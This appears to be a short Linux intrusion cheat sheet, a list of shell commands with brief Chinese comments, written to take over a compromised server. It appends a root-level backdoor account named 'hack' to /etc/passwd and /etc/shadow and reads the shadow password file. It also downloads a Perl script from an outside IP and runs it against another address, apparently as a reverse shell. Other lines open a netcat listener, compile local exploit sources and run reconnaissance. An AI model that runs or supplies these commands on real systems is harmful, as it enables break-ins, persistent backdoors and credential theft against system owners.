cat /etc/passwd | grep "/bin/bash"
cat /etc/passwd | grep "root"
echo hack:x:0:0:root:/root:/bin/bash >>/etc/passwd
cat /etc/shadow
echo hack::133380:0:99999:7::: >>/etc/shadow
wget http://58.19.202.2x/back.pl
passwd hack
ps -aux
whoami
uname -a
nc -vv -lp 123456
cd test;wget http://www.myhack58.com
perl back.pl 58.252.46.142 60
ls
which gcc
gcc exp.c -o exp
gcc -o brk brk.c -static
uptime //看在线时间
cat /etc/issue //看版本
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